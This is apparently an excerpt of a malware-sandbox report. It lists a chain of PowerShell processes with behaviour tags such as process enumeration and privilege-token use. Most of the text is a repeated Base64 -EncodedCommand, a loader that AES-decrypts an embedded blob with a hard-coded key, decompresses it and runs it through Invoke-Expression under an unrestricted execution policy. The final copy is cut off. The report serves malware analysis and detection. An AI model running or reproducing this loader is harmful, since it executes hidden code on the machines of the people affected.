C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "PowerShell.exe -ExecutionPolicy Unrestricted, powershell.exe -EncodedCommand "JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA=="5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted powershell.exe -EncodedCommand JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA==6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:660 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABV